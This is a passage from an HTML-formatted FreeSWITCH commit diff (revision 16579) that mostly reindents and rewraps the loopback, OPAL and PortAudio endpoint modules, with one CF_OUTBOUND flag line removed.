</span><span class="cx">                 switch_mutex_unlock(mutex);
</span><span class="lines">@@ -633,7 +621,7 @@
</span><span class="cx">         switch_channel_t *channel = NULL;
</span><span class="cx">         private_t *tech_pvt = NULL;
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_FALSE;
</span><del>-        
</del><ins>+
</ins><span class="cx">         channel = switch_core_session_get_channel(session);
</span><span class="cx">         switch_assert(channel != NULL);
</span><span class="cx">
</span><span class="lines">@@ -645,16 +633,14 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         switch_mutex_lock(tech_pvt->mutex);
</span><del>-        if (!switch_test_flag(tech_pvt, TFLAG_BOWOUT) &&
-                tech_pvt->other_tech_pvt &&
-                switch_test_flag(tech_pvt, TFLAG_BRIDGE) &&
-                switch_test_flag(tech_pvt->other_tech_pvt, TFLAG_BRIDGE) &&
</del><ins>+        if (!switch_test_flag(tech_pvt, TFLAG_BOWOUT) &&
+                tech_pvt->other_tech_pvt &&
+                switch_test_flag(tech_pvt, TFLAG_BRIDGE) &&
+                switch_test_flag(tech_pvt->other_tech_pvt, TFLAG_BRIDGE) &&
</ins><span class="cx">                 switch_channel_test_flag(tech_pvt->channel, CF_BRIDGED) &&
</span><span class="cx">                 switch_channel_test_flag(tech_pvt->other_channel, CF_BRIDGED) &&
</span><span class="cx">                 switch_channel_test_flag(tech_pvt->channel, CF_ANSWERED) &&
</span><del>-                switch_channel_test_flag(tech_pvt->other_channel, CF_ANSWERED) &&
-                !--tech_pvt->bowout_frame_count <= 0
-                ) {
</del><ins>+                switch_channel_test_flag(tech_pvt->other_channel, CF_ANSWERED) && !--tech_pvt->bowout_frame_count <= 0) {
</ins><span class="cx">                 const char *a_uuid = switch_channel_get_variable(channel, SWITCH_SIGNAL_BOND_VARIABLE);
</span><span class="cx">                 const char *b_uuid = switch_channel_get_variable(tech_pvt->other_channel, SWITCH_SIGNAL_BOND_VARIABLE);
</span><span class="cx">                 const char *vetoa, *vetob;
</span><span class="lines">@@ -664,15 +650,15 @@
</span><span class="cx">
</span><span class="cx">                 vetoa = switch_channel_get_variable(tech_pvt->channel, "loopback_bowout");
</span><span class="cx">                 vetob = switch_channel_get_variable(tech_pvt->other_tech_pvt->channel, "loopback_bowout");
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if ((!vetoa || switch_true(vetoa)) && (!vetob || switch_true(vetob))) {
</span><span class="cx">                         switch_clear_flag_locked(tech_pvt, TFLAG_WRITE);
</span><span class="cx">                         switch_clear_flag_locked(tech_pvt->other_tech_pvt, TFLAG_WRITE);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (a_uuid && b_uuid) {
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
</ins><span class="cx">                                                                  "%s detected bridge on both ends, attempting direct connection.\n", switch_channel_get_name(channel));
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 /* channel_masquerade eat your heart out....... */
</span><span class="cx">                                 switch_ivr_uuid_bridge(a_uuid, b_uuid);
</span><span class="cx">                                 switch_mutex_unlock(tech_pvt->mutex);
</span><span class="lines">@@ -681,7 +667,7 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        if (switch_test_flag(tech_pvt, TFLAG_LINKED) && tech_pvt->other_tech_pvt) {
</del><ins>+        if (switch_test_flag(tech_pvt, TFLAG_LINKED) && tech_pvt->other_tech_pvt) {
</ins><span class="cx">                 switch_frame_t *clone;
</span><span class="cx">
</span><span class="cx">                 if (frame->codec->implementation != tech_pvt->write_codec.implementation) {
</span><span class="lines">@@ -701,7 +687,7 @@
</span><span class="cx">
</span><span class="cx">                         switch_set_flag_locked(tech_pvt->other_tech_pvt, TFLAG_WRITE);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">         }
</span><span class="cx">
</span><span class="lines">@@ -720,7 +706,7 @@
</span><span class="cx">
</span><span class="cx">         tech_pvt = switch_core_session_get_private(session);
</span><span class="cx">         switch_assert(tech_pvt != NULL);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch (msg->message_id) {
</span><span class="cx">         case SWITCH_MESSAGE_INDICATE_ANSWER:
</span><span class="cx">                 if (tech_pvt->other_channel && !switch_test_flag(tech_pvt, TFLAG_OUTBOUND)) {
</span><span class="lines">@@ -734,7 +720,7 @@
</span><span class="cx">                 break;
</span><span class="cx">         case SWITCH_MESSAGE_INDICATE_BRIDGE:
</span><span class="cx">                 {
</span><del>-                        switch_set_flag_locked(tech_pvt, TFLAG_BRIDGE);                        
</del><ins>+                        switch_set_flag_locked(tech_pvt, TFLAG_BRIDGE);
</ins><span class="cx">                 }
</span><span class="cx">                 break;
</span><span class="cx">         case SWITCH_MESSAGE_INDICATE_UNBRIDGE:
</span><span class="lines">@@ -767,17 +753,18 @@
</span><span class="cx">
</span><span class="cx">                 }
</span><span class="cx">                 break;
</span><del>- default:
- break;
- }
-        
</del><ins>+        default:
+                break;
+        }
</ins><span class="cx">
</span><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static switch_call_cause_t channel_outgoing_channel(switch_core_session_t *session, switch_event_t *var_event,
</span><span class="cx">                                                                                                         switch_caller_profile_t *outbound_profile,
</span><del>-                                                                                                        switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause)
</del><ins>+                                                                                                        switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
+                                                                                                        switch_call_cause_t *cancel_cause)
</ins><span class="cx"> {
</span><span class="cx">         char name[128];
</span><span class="cx">
</span><span class="lines">@@ -808,7 +795,7 @@
</span><span class="cx">                         switch_core_session_destroy(new_session);
</span><span class="cx">                         return SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (outbound_profile) {
</span><span class="cx">                         char *dialplan = NULL, *context = NULL;
</span><span class="cx">
</span><span class="lines">@@ -833,7 +820,7 @@
</span><span class="cx">
</span><span class="cx">                         if ((context = strchr(caller_profile->destination_number, '/'))) {
</span><span class="cx">                                 *context++ = '\0';
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if ((dialplan = strchr(context, '/'))) {
</span><span class="cx">                                         *dialplan++ = '\0';
</span><span class="cx">                                 }
</span><span class="lines">@@ -846,7 +833,7 @@
</span><span class="cx">                                         caller_profile->dialplan = switch_core_strdup(caller_profile->pool, dialplan);
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (zstr(caller_profile->context)) {
</span><span class="cx">                                 caller_profile->context = switch_core_strdup(caller_profile->pool, "default");
</span><span class="cx">                         }
</span><span class="lines">@@ -857,7 +844,6 @@
</span><span class="cx">
</span><span class="cx">                         switch_snprintf(name, sizeof(name), "loopback/%s-a", caller_profile->destination_number);
</span><span class="cx">                         switch_channel_set_name(channel, name);
</span><del>-                        switch_channel_set_flag(channel, CF_OUTBOUND);
</del><span class="cx">                         switch_set_flag_locked(tech_pvt, TFLAG_OUTBOUND);
</span><span class="cx">                         switch_channel_set_caller_profile(channel, caller_profile);
</span><span class="cx">                         tech_pvt->caller_profile = caller_profile;
</span><span class="lines">@@ -866,9 +852,9 @@
</span><span class="cx">                         switch_core_session_destroy(new_session);
</span><span class="cx">                         return SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_channel_set_state(channel, CS_INIT);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 return SWITCH_CAUSE_SUCCESS;
</span><span class="cx">         }
</span><span class="cx">
</span><span class="lines">@@ -885,10 +871,9 @@
</span><span class="cx">         /*.on_consume_media */ channel_on_consume_media,
</span><span class="cx">         /*.on_hibernate */ channel_on_hibernate,
</span><span class="cx">         /*.on_reset */ channel_on_reset,
</span><del>-        /*.on_park*/ NULL,
- /*.on_reporting*/ NULL,
- /*.on_destroy*/ channel_on_destroy
-
</del><ins>+        /*.on_park */ NULL,
+        /*.on_reporting */ NULL,
+        /*.on_destroy */ channel_on_destroy
</ins><span class="cx"> };
</span><span class="cx">
</span><span class="cx"> static switch_io_routines_t channel_io_routines = {
</span></span></pre></div>
<a id="freeswitchtrunksrcmodendpointsmod_opalmod_opalh"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/endpoints/mod_opal/mod_opal.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/endpoints/mod_opal/mod_opal.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/endpoints/mod_opal/mod_opal.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -54,101 +54,97 @@
</span><span class="cx">
</span><span class="cx">
</span><span class="cx"> struct mod_opal_globals {
</span><del>- int trace_level;
- char *codec_string;
- char *context;
- char *dialplan;
</del><ins>+        int trace_level;
+        char *codec_string;
+        char *context;
+        char *dialplan;
</ins><span class="cx"> };
</span><span class="cx">
</span><span class="cx"> extern struct mod_opal_globals mod_opal_globals;
</span><span class="cx">
</span><span class="cx">
</span><del>-class FSProcess : public PLibraryProcess {
- PCLASSINFO(FSProcess, PLibraryProcess);
</del><ins>+class FSProcess:public PLibraryProcess {
+        PCLASSINFO(FSProcess, PLibraryProcess);
</ins><span class="cx">
</span><del>- public:
- FSProcess();
- ~FSProcess();
</del><ins>+ public:
+        FSProcess();
+        ~FSProcess();
</ins><span class="cx">
</span><del>- bool Initialise(switch_loadable_module_interface_t *iface);
</del><ins>+        bool Initialise(switch_loadable_module_interface_t *iface);
</ins><span class="cx">
</span><del>- FSManager & GetManager() const { return *m_manager; }
-
- protected:
- FSManager * m_manager;
</del><ins>+         FSManager & GetManager() const {
+                return *m_manager;
+ } protected:
+         FSManager * m_manager;
</ins><span class="cx"> };
</span><span class="cx">
</span><span class="cx">
</span><span class="cx"> struct FSListener {
</span><del>- FSListener() {
- }
-
- PString name;
- OpalTransportAddress listenAddress;
- PString localUserName;
- PString gatekeeper;
</del><ins>+        FSListener() {
+        } PString name;
+        OpalTransportAddress listenAddress;
+        PString localUserName;
+        PString gatekeeper;
</ins><span class="cx"> };
</span><span class="cx">
</span><span class="cx">
</span><del>-class FSCall : public OpalCall {
- PCLASSINFO(FSCall, OpalCall);
</del><ins>+class FSCall:public OpalCall {
+        PCLASSINFO(FSCall, OpalCall);
</ins><span class="cx"> public:
</span><del>- FSCall(OpalManager & manager);
- virtual PBoolean OnSetUp(OpalConnection & connection);
</del><ins>+        FSCall(OpalManager & manager);
+        virtual PBoolean OnSetUp(OpalConnection & connection);
</ins><span class="cx"> };
</span><span class="cx">
</span><span class="cx">
</span><del>-class FSManager : public OpalManager {
- PCLASSINFO(FSManager, OpalManager);
</del><ins>+class FSManager:public OpalManager {
+        PCLASSINFO(FSManager, OpalManager);
</ins><span class="cx">
</span><del>- public:
- FSManager();
</del><ins>+ public:
+        FSManager();
</ins><span class="cx">
</span><del>- bool Initialise(switch_loadable_module_interface_t *iface);
</del><ins>+        bool Initialise(switch_loadable_module_interface_t *iface);
</ins><span class="cx">
</span><del>- switch_status_t ReadConfig(int reload);
</del><ins>+        switch_status_t ReadConfig(int reload);
</ins><span class="cx">
</span><del>- switch_endpoint_interface_t *GetSwitchInterface() const {
- return m_FreeSwitch;
- }
</del><ins>+        switch_endpoint_interface_t *GetSwitchInterface() const {
+                return m_FreeSwitch;
+        } virtual OpalCall *CreateCall(void *userData);
</ins><span class="cx">
</span><del>- virtual OpalCall * CreateCall(void * userData);
-
</del><span class="cx"> private:
</span><del>- switch_endpoint_interface_t *m_FreeSwitch;
</del><ins>+        switch_endpoint_interface_t *m_FreeSwitch;
</ins><span class="cx">
</span><del>- H323EndPoint *m_h323ep;
- IAX2EndPoint *m_iaxep;
- FSEndPoint *m_fsep;
</del><ins>+        H323EndPoint *m_h323ep;
+        IAX2EndPoint *m_iaxep;
+        FSEndPoint *m_fsep;
</ins><span class="cx">
</span><del>- PString m_gkAddress;
- PString m_gkIdentifer;
- PString m_gkInterface;
</del><ins>+        PString m_gkAddress;
+        PString m_gkIdentifer;
+        PString m_gkInterface;
</ins><span class="cx">
</span><del>- list < FSListener > m_listeners;
</del><ins>+         list < FSListener > m_listeners;
</ins><span class="cx"> };
</span><span class="cx">
</span><span class="cx">
</span><span class="cx"> class FSConnection;
</span><span class="cx"> typedef struct {
</span><del>- switch_timer_t read_timer;
- switch_codec_t read_codec;
- switch_codec_t write_codec;
</del><ins>+        switch_timer_t read_timer;
+        switch_codec_t read_codec;
+        switch_codec_t write_codec;
</ins><span class="cx">
</span><del>- switch_timer_t vid_read_timer;
- switch_codec_t vid_read_codec;
- switch_codec_t vid_write_codec;
- FSConnection *me;
</del><ins>+        switch_timer_t vid_read_timer;
+        switch_codec_t vid_read_codec;
+        switch_codec_t vid_write_codec;
+        FSConnection *me;
</ins><span class="cx"> } opal_private_t;
</span><span class="cx">
</span><span class="cx">
</span><span class="cx"> class FSEndPoint:public OpalLocalEndPoint {
</span><del>- PCLASSINFO(FSEndPoint, OpalLocalEndPoint);
- public:
- FSEndPoint(FSManager & manager);
</del><ins>+        PCLASSINFO(FSEndPoint, OpalLocalEndPoint);
+ public:
+        FSEndPoint(FSManager & manager);
</ins><span class="cx">
</span><del>- virtual bool OnIncomingCall(OpalLocalConnection &);
- virtual OpalLocalConnection *CreateConnection(OpalCall & call, void * userData, unsigned options, OpalConnection::StringOptions* stringOptions);
</del><ins>+        virtual bool OnIncomingCall(OpalLocalConnection &);
+        virtual OpalLocalConnection *CreateConnection(OpalCall & call, void *userData, unsigned options, OpalConnection::StringOptions * stringOptions);
</ins><span class="cx"> };
</span><span class="cx">
</span><span class="cx">
</span><span class="lines">@@ -174,93 +170,89 @@
</span><span class="cx">
</span><span class="cx">
</span><span class="cx"> class FSConnection:public OpalLocalConnection {
</span><del>- PCLASSINFO(FSConnection, OpalLocalConnection)
</del><ins>+        PCLASSINFO(FSConnection, OpalLocalConnection)
</ins><span class="cx">
</span><span class="cx"> public:
</span><del>- FSConnection(OpalCall & call,
- FSEndPoint & endpoint,
- void* userData,
- unsigned options,
- OpalConnection::StringOptions* stringOptions,
- switch_caller_profile_t *outbound_profile,
- switch_core_session_t *fsSession,
- switch_channel_t *fsChannel);
</del><ins>+        FSConnection(OpalCall & call,
+                                 FSEndPoint & endpoint,
+                                 void *userData,
+                                 unsigned options,
+                                 OpalConnection::StringOptions * stringOptions,
+                                 switch_caller_profile_t *outbound_profile, switch_core_session_t *fsSession, switch_channel_t *fsChannel);
</ins><span class="cx">
</span><del>- virtual bool OnIncoming();
- virtual void OnReleased();
- virtual PBoolean SetAlerting(const PString & calleeName, PBoolean withMedia);
- virtual void OnAlerting();
- virtual void OnEstablished();
- virtual OpalMediaStream *CreateMediaStream(const OpalMediaFormat &, unsigned, PBoolean);
- virtual PBoolean OnOpenMediaStream(OpalMediaStream & stream);
- virtual OpalMediaFormatList GetMediaFormats() const;
- virtual PBoolean SendUserInputTone(char tone, unsigned duration);
- virtual PBoolean SendUserInputString(const PString & value);
</del><ins>+        virtual bool OnIncoming();
+        virtual void OnReleased();
+        virtual PBoolean SetAlerting(const PString & calleeName, PBoolean withMedia);
+        virtual void OnAlerting();
+        virtual void OnEstablished();
+        virtual OpalMediaStream *CreateMediaStream(const OpalMediaFormat &, unsigned, PBoolean);
+        virtual PBoolean OnOpenMediaStream(OpalMediaStream & stream);
+        virtual OpalMediaFormatList GetMediaFormats() const;
+        virtual PBoolean SendUserInputTone(char tone, unsigned duration);
+        virtual PBoolean SendUserInputString(const PString & value);
</ins><span class="cx">
</span><del>- void SetCodecs();
</del><ins>+        void SetCodecs();
</ins><span class="cx">
</span><del>- DECLARE_CALLBACK0(on_init);
- DECLARE_CALLBACK0(on_routing);
- DECLARE_CALLBACK0(on_execute);
</del><ins>+         DECLARE_CALLBACK0(on_init);
+         DECLARE_CALLBACK0(on_routing);
+         DECLARE_CALLBACK0(on_execute);
</ins><span class="cx">
</span><del>- DECLARE_CALLBACK0(on_exchange_media);
- DECLARE_CALLBACK0(on_soft_execute);
</del><ins>+         DECLARE_CALLBACK0(on_exchange_media);
+         DECLARE_CALLBACK0(on_soft_execute);
</ins><span class="cx">
</span><del>- DECLARE_CALLBACK1(kill_channel, int, sig);
- DECLARE_CALLBACK1(send_dtmf, const switch_dtmf_t *, dtmf);
- DECLARE_CALLBACK1(receive_message, switch_core_session_message_t *, msg);
- DECLARE_CALLBACK1(receive_event, switch_event_t *, event);
- DECLARE_CALLBACK0(state_change);
- DECLARE_CALLBACK3(read_audio_frame, switch_frame_t **, frame, switch_io_flag_t, flags, int, stream_id);
- DECLARE_CALLBACK3(write_audio_frame, switch_frame_t *, frame, switch_io_flag_t, flags, int, stream_id);
- DECLARE_CALLBACK3(read_video_frame, switch_frame_t **, frame, switch_io_flag_t, flag, int, stream_id);
- DECLARE_CALLBACK3(write_video_frame, switch_frame_t *, frame, switch_io_flag_t, flag, int, stream_id);
</del><ins>+         DECLARE_CALLBACK1(kill_channel, int, sig);
+         DECLARE_CALLBACK1(send_dtmf, const switch_dtmf_t *, dtmf);
+         DECLARE_CALLBACK1(receive_message, switch_core_session_message_t *, msg);
+         DECLARE_CALLBACK1(receive_event, switch_event_t *, event);
+         DECLARE_CALLBACK0(state_change);
+         DECLARE_CALLBACK3(read_audio_frame, switch_frame_t **, frame, switch_io_flag_t, flags, int, stream_id);
+         DECLARE_CALLBACK3(write_audio_frame, switch_frame_t *, frame, switch_io_flag_t, flags, int, stream_id);
+         DECLARE_CALLBACK3(read_video_frame, switch_frame_t **, frame, switch_io_flag_t, flag, int, stream_id);
+         DECLARE_CALLBACK3(write_video_frame, switch_frame_t *, frame, switch_io_flag_t, flag, int, stream_id);
</ins><span class="cx">
</span><del>- switch_status_t read_frame(const OpalMediaType & mediaType, switch_frame_t **frame, switch_io_flag_t flags);
- switch_status_t write_frame(const OpalMediaType & mediaType, const switch_frame_t *frame, switch_io_flag_t flags);
</del><ins>+        switch_status_t read_frame(const OpalMediaType & mediaType, switch_frame_t **frame, switch_io_flag_t flags);
+        switch_status_t write_frame(const OpalMediaType & mediaType, const switch_frame_t *frame, switch_io_flag_t flags);
</ins><span class="cx">
</span><del>- switch_core_session_t *GetSession() const {
- return m_fsSession;
- }
-
- private:
- FSEndPoint & m_endpoint;
- switch_core_session_t *m_fsSession;
- switch_channel_t *m_fsChannel;
- PSyncPoint m_rxAudioOpened;
- PSyncPoint m_txAudioOpened;
- OpalMediaFormatList m_switchMediaFormats;
</del><ins>+        switch_core_session_t *GetSession() const {
+                return m_fsSession;
+ } private:
+         FSEndPoint & m_endpoint;
+        switch_core_session_t *m_fsSession;
+        switch_channel_t *m_fsChannel;
+        PSyncPoint m_rxAudioOpened;
+        PSyncPoint m_txAudioOpened;
+        OpalMediaFormatList m_switchMediaFormats;
</ins><span class="cx"> };
</span><span class="cx">
</span><span class="cx">
</span><span class="cx"> class FSMediaStream:public OpalMediaStream {
</span><del>- PCLASSINFO(FSMediaStream, OpalMediaStream);
- public:
- FSMediaStream(FSConnection & conn, const OpalMediaFormat & mediaFormat, ///< Media format for stream
- unsigned sessionID, ///< Session number for stream
- bool isSource ///< Is a source stream
- );
</del><ins>+        PCLASSINFO(FSMediaStream, OpalMediaStream);
+ public:
+        FSMediaStream(FSConnection & conn, const OpalMediaFormat & mediaFormat,        ///< Media format for stream
+                                 unsigned sessionID,        ///< Session number for stream
+                                 bool isSource        ///< Is a source stream
+                );
</ins><span class="cx">
</span><del>- virtual PBoolean Open();
- virtual PBoolean Close();
- virtual PBoolean IsSynchronous() const;
- virtual PBoolean RequiresPatchThread(OpalMediaStream *) const;
</del><ins>+        virtual PBoolean Open();
+        virtual PBoolean Close();
+        virtual PBoolean IsSynchronous() const;
+        virtual PBoolean RequiresPatchThread(OpalMediaStream *) const;
</ins><span class="cx">
</span><del>- switch_status_t read_frame(switch_frame_t **frame, switch_io_flag_t flags);
- switch_status_t write_frame(const switch_frame_t *frame, switch_io_flag_t flags);
</del><ins>+        switch_status_t read_frame(switch_frame_t **frame, switch_io_flag_t flags);
+        switch_status_t write_frame(const switch_frame_t *frame, switch_io_flag_t flags);
</ins><span class="cx">
</span><del>- private:
- switch_core_session_t *m_fsSession;
- switch_channel_t *m_fsChannel;
- switch_timer_t *m_switchTimer;
- switch_codec_t *m_switchCodec;
- switch_frame_t m_readFrame;
- unsigned char m_buf[SWITCH_RECOMMENDED_BUFFER_SIZE];
- RTP_DataFrame m_readRTP;
- bool m_callOnStart;
- uint32_t m_timeStamp;
</del><ins>+ private:
+        switch_core_session_t *m_fsSession;
+        switch_channel_t *m_fsChannel;
+        switch_timer_t *m_switchTimer;
+        switch_codec_t *m_switchCodec;
+        switch_frame_t m_readFrame;
+        unsigned char m_buf[SWITCH_RECOMMENDED_BUFFER_SIZE];
+        RTP_DataFrame m_readRTP;
+        bool m_callOnStart;
+        uint32_t m_timeStamp;
</ins><span class="cx">
</span><del>- bool CheckPatchAndLock();
</del><ins>+        bool CheckPatchAndLock();
</ins><span class="cx"> };
</span><span class="cx">
</span><span class="cx">
</span></span></pre></div>
<a id="freeswitchtrunksrcmodendpointsmod_portaudiomod_portaudioc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/endpoints/mod_portaudio/mod_portaudio.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/endpoints/mod_portaudio/mod_portaudio.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/endpoints/mod_portaudio/mod_portaudio.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -159,7 +159,8 @@
</span><span class="cx"> static switch_status_t channel_on_soft_execute(switch_core_session_t *session);
</span><span class="cx"> static switch_call_cause_t channel_outgoing_channel(switch_core_session_t *session, switch_event_t *var_event,
</span><span class="cx">                                                                                                         switch_caller_profile_t *outbound_profile,
</span><del>-                                                                                                        switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause);
</del><ins>+                                                                                                        switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
+                                                                                                        switch_call_cause_t *cancel_cause);
</ins><span class="cx"> static switch_status_t channel_read_frame(switch_core_session_t *session, switch_frame_t **frame, switch_io_flag_t flags, int stream_id);
</span><span class="cx"> static switch_status_t channel_write_frame(switch_core_session_t *session, switch_frame_t *frame, switch_io_flag_t flags, int stream_id);
</span><span class="cx"> static switch_status_t channel_kill_channel(switch_core_session_t *session, int sig);
</span><span class="lines">@@ -316,13 +317,15 @@
</span><span class="cx">
</span><span class="cx"> static switch_status_t channel_on_routing(switch_core_session_t *session)
</span><span class="cx"> {
</span><del>-        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s CHANNEL ROUTING\n", switch_channel_get_name(switch_core_session_get_channel(session)));
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s CHANNEL ROUTING\n",
+                                         switch_channel_get_name(switch_core_session_get_channel(session)));
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static switch_status_t channel_on_execute(switch_core_session_t *session)
</span><span class="cx"> {
</span><del>-        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s CHANNEL EXECUTE\n", switch_channel_get_name(switch_core_session_get_channel(session)));
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s CHANNEL EXECUTE\n",
+                                         switch_channel_get_name(switch_core_session_get_channel(session)));
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -350,7 +353,7 @@
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx">
</span><del>-static void destroy_codecs(void)
</del><ins>+static void destroy_codecs(void)
</ins><span class="cx"> {
</span><span class="cx">
</span><span class="cx">         if (switch_core_codec_ready(&globals.read_codec)) {
</span><span class="lines">@@ -404,7 +407,7 @@
</span><span class="cx">         if (*tech_pvt->call_id == '\0') {
</span><span class="cx">                 switch_mutex_lock(globals.pa_mutex);
</span><span class="cx">                 switch_snprintf(tech_pvt->call_id, sizeof(tech_pvt->call_id), "%d", ++globals.call_id);
</span><del>- switch_channel_set_variable(switch_core_session_get_channel(tech_pvt->session), SWITCH_PA_CALL_ID_VARIABLE, tech_pvt->call_id);
</del><ins>+                switch_channel_set_variable(switch_core_session_get_channel(tech_pvt->session), SWITCH_PA_CALL_ID_VARIABLE, tech_pvt->call_id);
</ins><span class="cx">                 switch_core_hash_insert(globals.call_hash, tech_pvt->call_id, tech_pvt);
</span><span class="cx">                 switch_core_session_set_read_codec(tech_pvt->session, &globals.read_codec);
</span><span class="cx">                 switch_core_session_set_write_codec(tech_pvt->session, &globals.write_codec);
</span><span class="lines">@@ -486,7 +489,7 @@
</span><span class="cx"> {
</span><span class="cx">         private_t *tech_pvt = switch_core_session_get_private(session);
</span><span class="cx">         switch_assert(tech_pvt != NULL);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_mutex_lock(globals.pa_mutex);
</span><span class="cx">         switch_core_hash_delete(globals.call_hash, tech_pvt->call_id);
</span><span class="cx">         switch_mutex_unlock(globals.pa_mutex);
</span><span class="lines">@@ -498,7 +501,8 @@
</span><span class="cx">
</span><span class="cx">         tech_close_file(tech_pvt);
</span><span class="cx">
</span><del>-        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s CHANNEL HANGUP\n", switch_channel_get_name(switch_core_session_get_channel(session)));
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s CHANNEL HANGUP\n",
+                                         switch_channel_get_name(switch_core_session_get_channel(session)));
</ins><span class="cx">
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="lines">@@ -563,11 +567,11 @@
</span><span class="cx">         if (!switch_test_flag(tech_pvt, TFLAG_IO)) {
</span><span class="cx">                 goto cng_wait;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!is_master(tech_pvt)) {
</span><span class="cx">                 if (tech_pvt->hold_file) {
</span><span class="cx">                         switch_size_t olen = globals.read_codec.implementation->samples_per_packet;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (!tech_pvt->hfh) {
</span><span class="cx">                                 int sample_rate = globals.sample_rate;
</span><span class="cx">                                 if (switch_core_file_open(&tech_pvt->fh,
</span><span class="lines">@@ -612,12 +616,11 @@
</span><span class="cx">         if (tech_pvt->hfh) {
</span><span class="cx">                 tech_close_file(tech_pvt);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_mutex_lock(globals.device_lock);
</span><del>-        samples = ReadAudioStream(globals.audio_stream, globals.read_frame.data,
-                                                         globals.read_codec.implementation->samples_per_packet, &globals.read_timer);
</del><ins>+        samples = ReadAudioStream(globals.audio_stream, globals.read_frame.data, globals.read_codec.implementation->samples_per_packet, &globals.read_timer);
</ins><span class="cx">         switch_mutex_unlock(globals.device_lock);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (samples) {
</span><span class="cx">                 globals.read_frame.datalen = samples * 2;
</span><span class="cx">                 globals.read_frame.samples = samples;
</span><span class="lines">@@ -631,19 +634,19 @@
</span><span class="cx">         } else {
</span><span class="cx">                 goto cng_nowait;
</span><span class="cx">         }
</span><del>-        
- normal_return:
</del><ins>+
+ normal_return:
</ins><span class="cx">         return status;
</span><span class="cx">
</span><del>- cng_nowait:
</del><ins>+ cng_nowait:
</ins><span class="cx">         *frame = &globals.cng_frame;
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx">
</span><del>- cng_wait:
</del><ins>+ cng_wait:
</ins><span class="cx">         switch_core_timer_next(&globals.hold_timer);
</span><span class="cx">         *frame = &globals.cng_frame;
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><del>-        
</del><ins>+
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static switch_status_t channel_write_frame(switch_core_session_t *session, switch_frame_t *frame, switch_io_flag_t flags, int stream_id)
</span><span class="lines">@@ -706,13 +709,12 @@
</span><span class="cx">         /*.on_hangup */ channel_on_hangup,
</span><span class="cx">         /*.on_exchange_media */ channel_on_exchange_media,
</span><span class="cx">         /*.on_soft_execute */ channel_on_soft_execute,
</span><del>-        /*.on_consume_media*/ NULL,
- /*.on_hibernate*/ NULL,
- /*.on_reset*/ NULL,
- /*.on_park*/ NULL,
- /*.on_reporting*/ NULL,
- /*.on_destroy*/ channel_on_destroy
-
